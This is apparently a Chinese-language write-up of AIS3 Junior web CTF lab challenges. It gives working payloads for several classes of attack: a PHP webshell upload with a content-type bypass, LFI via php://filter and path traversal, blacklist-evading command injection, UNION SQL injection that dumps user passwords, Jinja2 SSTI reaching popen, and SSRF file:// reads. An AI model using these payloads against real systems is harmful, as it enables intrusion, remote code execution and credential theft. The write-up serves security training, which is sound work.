AIS3 junior DAY2 上午 網頁安全
[TOC]
01 - Broken Access Control
BAC01
隨便打一個名子login
查看url http://ctfd-ais3.crazyfirelee.tw:9001/user
將user
改成admin
AIS3_Junior{FirstBROKENAccessControl;}
BAC02
到Product List
裡面觀察每個 View Details
的 url 發現後面都有編號且唯獨少了4
將4打上去url試試看 http://ctfd-ais3.crazyfirelee.tw:9002/product/4
點buy
進去拿到flag
AIS3_Junior{BroJustFoundBabyIDORVulnerability}
BAC03
先用第一題的方法試試看 將url後面改成admin
沒有辦法得到flag
換另一種方法 用linux的curl
試試看
1 | curl http://ctfd-ais3.crazyfirelee.tw:9003/admin |
AIS3_Junior{BabyBRokenAccEssControoooooool}
02 - File Upload
FIL01
先寫一個webshell
1 | system($_GET['cmd']); |
檔名用.php
結尾
將webshell上傳
將url改成 http://ctfd-ais3.crazyfirelee.tw:9011/uploads/a764c_108.160.138.201.php
利用剛才上傳的webshell
將命令打在url後面?cmd=ls ../
結果如下圖找到了FLAG
將命令改成?cmd=cat ../FLAG
AIS3_Junior{FirstWEBSHELLXDDD}
FIL02
先寫一個webshell
1 | system($_GET['cmd']); |
將檔名改成 (隨你喜歡).jpg.php
上傳時用brup將他攔下來
將Contect -Type
後面改成 image/jpg
forward
的結果如圖
將url改成 http://ctfd-ais3.crazyfirelee.tw:9012/uploads/2a54e_108.160.138.201.php
利用剛才上傳的webshell
將命令打在url後面?cmd=ls ../
結果如下圖找到了FLAG
將命令改成?cmd=cat ../FLAG
AIS3_Junior{BabyUploadBypass}
03 - Local File Inclusion
LFI01
照片很可疑
將照片url複製 http://ctfd-ais3.crazyfirelee.tw:9021/include.php?GetType=file_get_contents&file=static/bitcoinCat.jpg
利用上課所教的php://filter/read=convert.base64-encode/resource=index.php
先把static/bitcoinCat.jpg
給刪掉
把php://filter/read=convert.base64-encode/resource=index.php
加進去url中
改成 http://ctfd-ais3.crazyfirelee.tw:9021/include.php?GetType=file_get_contents&file=php://filter/read=convert.base64-encode/resource=index.php
獲得一段base64加密過的東西
全選複製後去先上平台解密
得到帳號:admin
密碼:CATLOVEBITCOINMEOWMEOW
得到flag
AIS3_Junior{php://filter/BabyPHPLFI.b64decode()}
LFI02
像FIL01和FIL02一樣
1 | system($_GET['cmd']); |
將webshell檔案上傳
發現檔案在tmp
底下 而tmp又在根目錄底下
所以我們要利用…/…/…/…/ 跳到根目錄
在將 /tmp/a764c_108.160.138.201.php
貼到根目錄後面
像是這樣 http://ctfd-ais3.crazyfirelee.tw:9022/post.php?form=../../../../../tmp/a764c_108.160.138.201.php
接著再用&cmd=ls
獲得我們想要的檔案 S3Cr3TFLAGGGGG
最後用cat S3Cr3TFLAGGGGG
將flag印出
AIS3_Junior{…/…/…/…/tmp/BADBAD.php?LFI=SUCCESS}
05 - Command Injection
CMD01
先用;ls
查看有什麼東西
發現有很多像flag的東西
先用cat印出REAL_FLAG
發現是騙人的
再去試試看FLAG
就出來了
AIS3_Junior{BabyCommand;InjectionXDDDddddd}
CMD02
想和上一題一樣 用;ls
結果沒有辦法
上網發現;echo *
也有一樣的效果
找到FLAG
用;c\at F*
繞過黑名單 當作cat FLAG
得到flag
AIS3_Junior{niceWordBL$()ACKListEvasion;}
CMD03
- 用
$(l${x}s|base64${IFS}-w${IFS}0)
繞過黑名單 - 用base64加密列出
ls
的東西發現跟[Bonus] CMD06一樣就用跟[Bonus] CMD06一樣的解法 - 用
$(ca${x}t${IFS}FLAG|base64${IFS}-w${IFS}0)
將flag以base64印出AIS3_Junior{BashOperato|rEvasion${IFS}SUCC|ESSFUL|:DDDDD}
[Bonus] CMD06
- 用
$(l${x}s|base64${IFS}-w${IFS}0)
繞過黑名單 - 用base64加密列出
ls
的東西
1 | RkxBRwptYWluLnB5CnByZXN0YXJ0LnNoCnJlcXVpcmVtZW50cy50eHQKc3RhdGljCnRlbXBsYXRlcwp1d3NnaS5pbmkK |
- 把上述用線上解密
- 發現FLAG
- 用
$(ca${x}t${IFS}FLAG|base64${IFS}-w${IFS}0)
將flag以base64印出
*QUlTM19KdW5pb3J7b3VvX2hpaGl9Cg==
用base64線上解密
06 - SQL Injection
SQL1
用最簡單的SQL語法就可以拿到flag好像簡單的CTF第一題SQL都可以用admin'--
帳號admin'--
密碼隨便填
AIS3_Junior{SQL’InjectionXDorD=D_–_-}
SQL2
參考網站: https://little-c-blog.coderbridge.io/2023/09/04/SQLi-lab-1/
先用pp'UNION SELECT NULL#
去嘗試讓兩個表中有相同的columns
- 直到
pp' UNION SELECT NULL, NULL,NULL,NULL#
*列出所有table
- mysql
- information_schema
- performance_schema
- sys
- arsenal
- ApexPredators
1 | pp' UNION SELECT group_concat(schema_name),group_concat(schema_name),group_concat(schema_name),group_concat(schema_name) from information_schema.schemata# |
- 發現網頁左上角剛好是第六個table的名稱 猜測可能是要到
ApexPredators
- 試試看將我們所要的table:
ApexPredators
抓出來 - 接著繼續往下找ApexPredators的東西
1 | pp' UNION SELECT group_concat(table_name),group_concat(table_name),group_concat(table_name),group_concat(table_name) from information_schema.tables where table_schema='ApexPredators' # |
- 發現有users
- 繼續往下找users的東西
1 | pp' UNION SELECT group_concat(column_name),group_concat(column_name),group_concat(column_name),group_concat(column_name) from information_schema.columns where table_schema='ApexPredators' and table_name='users'# |
- 發現users底下有 id,isAdmin,password,username
- 印出id,isAdmin,password,username裡面的內容
1 | pp' UNION SELECT id,username,password,isAdmin from ApexPredators.users# |
- 發現只有
KubenBlisk
下面的值是1大膽假設是admin
帳號:KubenBlisk 密碼:BliskLeader#2024
登入後就得到flag
07 - Server-Side Template Injection
STI01
參考資料:
裡面有:.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('dir').read()
__class__抓到底下的str
__base__抓到str上層的object
subclasses() Object底下所有的東西,包含函式等[138]應該是popen object
init 初始化 object
globals[‘popen’] 初始化object下的popen
(‘cat FLAG’).read() popen執行cat FLAG並讀出來將payload改為:
1 | {{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat FLAG').read()}} |
即可拿到flag
AIS3_Junior{.JinjaTWOOOO.[“SSTI”].succ3ssXDD._}
STI02
參考資料:
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#without-several-chars
- https://ithelp.ithome.com.tw/articles/10244403
從全域物件中獲取任何函數,可存取__globals__.__builtins__
,實現RCE
payload:{{request.application.__globals__.__builtins__.__import__('os').popen('cat FLAG').read()}}
AIS3_Junior{b4by__.filt3rEvasion.__Succ3ss}
08 - Server-Side Request Forgery
SRF01
- 題目有提示
Flag Location : /app/FLAG
- 發現可以用
file:// 表示這是一個本地文件的路徑
來去看題目給的路徑 - 於是我們直接在網站payload ->
file:///app/FLAG
點擊右邊的圖片的原始碼
可以發現有一個被base64加密的東西QUlTM19KdW5pb3J7ZmlsZTovL1NTUkZfX19YREREfQ==
線上解密之後拿到flag
AIS3_Junior{file://SSRF___XDDD}
SRF02
參考資料 https://github.com/w181496/Web-CTF-Cheatsheet
1 | /proc/self/environ #可查看當下進程的環境變量 |
- 跟上題一樣用
file://
- payload=
file:///proc/self/environ
- 查看圖片原始檔
發現有base64加密的內容
1 | SE9TVE5BTUU9MTIzMWRlMGVjMjZlAFBZVEhPTl9QSVBfVkVSU0lPTj0yMy4wLjEASE9NRT0vcm9vdABQWVRIT05VTkJVRkZFUkVEPTEAR1BHX0tFWT1BMDM1QzhDMTkyMTlCQTgyMUVDRUE4NkI2NEU2MjhGOEQ2ODQ2OTZEAFVXU0dJX0lOST0vYXBwL3V3c2dpLmluaQBOR0lOWF9NQVhfVVBMT0FEPTAAVVdTR0lfUFJPQ0VTU0VTPTE2AFBZVEhPTkRPTlRXUklURUJZVEVDT0RFPTEAU1RBVElDX1VSTD0vc3RhdGljAFBZVEhPTl9HRVRfUElQX1VSTD1odHRwczovL2dpdGh1Yi5jb20vcHlwYS9nZXQtcGlwL3Jhdy82NmQ4YTBmNjM3MDgzZTJjM2RkZmZjMGNiMWU2NWNlMTI2YWZiODU2L3B1YmxpYy9nZXQtcGlwLnB5AFVXU0dJX0NIRUFQRVI9MgBQQVRIPS91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2JpbgBMQU5HPUMuVVRGLTgAUFlUSE9OX1ZFUlNJT049My4xMC4xNABQWVRIT05fU0VUVVBUT09MU19WRVJTSU9OPTY1LjUuMQBOR0lOWF9XT1JLRVJfUFJPQ0VTU0VTPTEATElTVEVOX1BPUlQ9ODAAU1RBVElDX0lOREVYPTAAUFdEPS9hcHAAUFlUSE9OX0dFVF9QSVBfU0hBMjU2PTZmYjdiNzgxMjA2MzU2ZjQ1YWQ3OWVmYmIxOTMyMmNhYTZjMmE1YWQzOTA5MmQwZDQ0ZDBmZWM5NDExN2UxMTgAU1RBVElDX1BBVEg9L2FwcC9zdGF0aWMAUFlUSE9OUEFUSD0vYXBwAEZMQUc9QUlTM19KdW5pb3J7aHR0cDovL0JST0FjY2Vzc0xPQ0FMfQA= |
- 放到線上平台解密
- 得到flag
AIS3_Junior{http://BROAccessLOCAL}
說些什麼吧!